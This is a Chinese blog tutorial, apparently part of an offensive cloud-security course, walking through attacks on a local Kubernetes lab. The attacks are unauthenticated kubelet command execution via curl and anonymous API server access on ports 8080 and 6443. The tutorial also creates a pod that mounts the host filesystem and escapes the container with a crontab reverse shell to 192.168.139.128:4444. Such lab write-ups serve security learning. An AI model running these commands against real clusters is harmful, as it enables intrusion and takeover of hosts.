首页 > 其他分享 >【第97课】云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行

【第97课】云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行

时间:2024-09-07 10:53:15浏览次数:14  
标签:容器 shell 8080 Kubernetes kubectl 192.168 Kubelet K8s

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

知识点

1、云原生-K8s安全-名词架构&各攻击点
2、云原生-K8s安全-Kubelet未授权访问
3、云原生-K8s安全-API Server未授权访问

章节点:
云场景攻防:公有云,私有云,混合云,虚拟化集群,云桌面等
云厂商攻防:阿里云,腾讯云,华为云,亚马云,谷歌云,微软云等
云服务攻防:对象存储,云数据库,弹性计算服务器,VPC&RAM等
云原生攻防:Docker,Kubernetes(k8s),容器逃逸,CI/CD等

K8S集群架构解释

Kubernetes通俗来讲就是用来管理多台主机上的docker容器的一个开源平台应用。
1、Master节点(控制端)
2、Node节点(主机)
3、Pod(容器)

具体参考:云原生kubernetes安全[k8s渗透]_kubernetes dashboard渗透-CSDN博客
在这里插入图片描述

在这里插入图片描述

K8S集群攻击点

随着越来越多企业开始上云的步伐,在攻防演练中常常碰到云相关的场景,例:公有云、私有云、混合云、虚拟化集群等。
以往渗透路径「外网突破->提权->权限维持->信息收集->横向移动->循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:
1、通过攻击云管理平台(K8S-Master节点),利用管理平台控制所有机器
2、通过docker容器进行逃逸,从而控制宿主机以及横向渗透到K8s Master节点控制所有容器

目前互联网上针对云原生场景下的攻击手法零零散散的较多,仅有一些厂商发布过相关矩阵技术,但没有过多的细节展示,本文基于微软发布的Kubernetes威胁矩阵进行扩展,介绍相关的具体攻击方法。
详细攻击点参考:
https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw
https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ

在这里插入图片描述

如何判断对方使用了k8s技术?

扫目标端口来判断
在这里插入图片描述

本地搭建环境测试

搭建环境使用3台Centos 7,参考文章:
centos7安装kubernetes k8s v1.16.0 国内环境 - 简书
centos7 搭建 kubernetes1.16.0 集群_centos the connection to the server localhost:8080-CSDN博客

一个集群包含三个节点,其中包括一个控制节点和两个工作节点

K8s-master 192.168.139.130
K8s-node1 192.168.139.131
K8s-node2 192.168.139.132

在这里插入图片描述
在这里插入图片描述

一、演示案例-云原生-K8s安全-Kubelet(node)未授权访问

攻击10250端口:kubelet未授权访问

在这里插入图片描述
在这里插入图片描述
192.168.230.132配置如下:

/var/lib/kubelet/config.yaml
修改authentication的anonymous为true,
将authorization mode修改为AlwaysAllow,
重启kubelet进程-systemctl restart kubelet

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

利用执行命令这里需要三个参数

namespace:default
pod:test03
container:test03

1、访问获取三个参数值

https://192.168.139.132:10250/runningpods/

在这里插入图片描述

2、执行容器命令:

curl -XPOST -k "https://192.168.139.132:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"

在这里插入图片描述
执行的命令是test03容器里的命令,需要进行容器逃逸。

二、演示案例-云原生-K8s安全-API Server未授权访问

1、攻击8080端口:API Server(Master)未授权访问

旧版本的k8s的API Server默认会开启两个端口:8080和6443。
6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,
仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0为旧版本)
新版本k8s默认已经不开启8080。需要更改相应的配置
cd /etc/kubernetes/manifests/
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
重启kubelet进程

systemctl restart kubelet

在这里插入图片描述
kubectl官方工具下载地址:安装工具 | Kubernetes

一、获取所有主机(nodes)节点
kubectl.exe -s 192.168.139.130:8080 get nodes  

在这里插入图片描述

二、获取所有容器(pods)节点
kubectl.exe -s 192.168.139.130:8080 get pods 

在这里插入图片描述

三、创建新的docker容器
kubectl -s 192.168.139.130:8080 create -f xiaodi.yaml 
//创建一个pod文件,相当于新建一个名为xiaodi的docker容器

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

四、进入到创建的docker容器
kubectl -s 192.168.139.130:8080 --namespace=default exec -it xiaodi bash 
//docker进入到xiaodi容器的命令

在这里插入图片描述

五、容器逃逸获取宿主机shell
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" >> /mnt/etc/crontab
把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了

在这里插入图片描述
等待一会就会收到反弹,但是收到的反弹shell不是master控制端的shell,而是下面的某个node(主机)节点的shell
在这里插入图片描述
在这里插入图片描述

2、攻击6443端口:API Server(Master)未授权访问

在这里插入图片描述

一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
kubectl create clusterrolebinding system:anonymous   --clusterrole=cluster-admin   --user=system:anonymous
一、创建恶意pods容器
https://192.168.139.130:6443/api/v1/namespaces/default/pods/

POST:{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}

在这里插入图片描述

二、连接查看pods
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 get pods

在这里插入图片描述

三、进入到test03容器里并反弹宿主机的shell
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 --namespace=default exec -it test03 bash

在这里插入图片描述

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" >> /mnt/etc/crontab
把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了

等待一会就会收到反弹,但是收到的反弹shell不是master控制端的shell,而是下面的某个node(主机)节点的shell
在这里插入图片描述
在这里插入图片描述

标签:容器,shell,8080,Kubernetes,kubectl,192.168,Kubelet,K8s
From: https://blog.csdn.net/Lucker_YYY/article/details/141854494

相关文章

  • ansible roles使用场景,现在有多台机器需要批量加入k8s集群,怎么实现
    AnsibleRoles是一种用于组织和重用Ansible任务的结构化方式。它们特别适合于大型项目,能够简化配置管理和自动化部署。使用AnsibleRoles可以有效地管理多台机器的配置和状态。使用场景模块化管理:将相关的任务、变量和文件组织到一起,提高可维护性。复用性:不同项目可以复......
  • D20 kubernetes 工作负载资源对象-Deployment
    1、Deployment简介 Deployment是kubernetes中最常用的工作负载资源,具有以下特点和功能-副本管理:确保指定数量的pod副本在集群中运行。如果pod副本数小于期望值,则会自动创建pod;如果pod的副本数多余期望值,则删除多余的pod-滚动更新:采用滚动更新策略,逐步进行新旧版本pod的替换......
  • Kubernetes学习指南:保姆级实操手册07——calico安装、metric-server安装
    七、Kubernetes学习指南:保姆级实操手册07——calico安装、metric-server安装一、calicoCalico是一个开源的虚拟化网络方案,支持基础的Pod网络通信和网络策略功能。官方文档:https://projectcalico.docs.tigera.io/getting-started/kubernetes/quickstart1、calico安装###在Master控......
  • D19 kubernetes 工作负载资源对象
    在kubernetes中,通常不会直接创建pod。都是使用工作负载资源deployment、statefulset来创建和管理pod。这种方式简化了pod的管理,提供了诸多如多副本、滚动和更新、回滚和自动扩展等告警功能,使得部署和管理应用程序变得方便和搞笑工作负载资源概述工作负载资源是kubernetes......
  • 【K8s】专题十三:Kubernetes 容器运行时之 Docker 与 Containerd 详解
    本文内容均来自个人笔记并重新梳理,如有错误欢迎指正!如果对您有帮助,烦请点赞、关注、转发、订阅专栏!专栏订阅入口Linux专栏 | Docker专栏 | Kubernetes专栏往期精彩文章【Docker】(全网首发)KylinV10下MySQL容器内存占用异常的解决方法【Docker】(全网首发)Kyli......
  • D18 kubernetes Pod资源对象有哪些重点需要了解的
    pod资源对象的着重需要了解的有:pod资源的概念、设计模式、基本管理操作、常用字段配置以及生命周期管理。具体如下-pod允许定义多个容器,这些容器之间存在密切协作关系。pod主要为它们提供可交互的环境,包括共享网络和共享存储-启动容器时可通过command和args字段来执行命令或传......
  • k8s中什么是内存请求,什么是内存限制,及其与QoS的关系
    在Kubernetes中,内存请求(MemoryRequest)和内存限制(MemoryLimit)是资源管理的两个关键概念,它们帮助确保Pod能够获得所需的资源,同时防止资源过度使用。以下是它们的定义和作用:内存请求(MemoryRequest)定义:内存请求是Pod启动时向Kubernetes集群请求的最小内存量。这是Pod......
  • Kubernetes-etcd备份恢复
    目录使用etcdctl备份与恢复简介集群信息etcdctl安装下载安装同步到其他节点配置环境变量查看集群状态查看所有key查看指定key备份所有节点创建备份目录备份etcd数据恢复删除资源所有master节点停止etcd所有master节点备份原有数据master01恢复master02恢复master03恢复所有节点启......
  • k8s的探针检测(附yaml)-随记
    1、概念:Kubernetes(k8s)中的探针是一种健康检查机制,用于监测Pod内容器的运行状况。主要包括以下三种类型的探针:2、探针的种类:liveness探针:在容器启动后执行探针的检测,检测容器是否正常运行readness探针:在容器初始化就绪,业务容器拉起后。执行就绪检测,如果检测通过说明业务容器可......
  • 记一次阿里云搭建K8S在恢复镜像快照之后etcd一个节点无法启动问题
    环境查看系统环境#cat/etc/redhat-releaseCentOSLinuxrelease7.9.2009(Core)#uname-aLinuxCentOS7K8SMaster010051013.10.0-1160.114.2.el7.x86_64#1SMPWedMar2015:54:52UTC2024x86_64x86_64x86_64GNU/Linux软件环境#kubectlversionClientVe......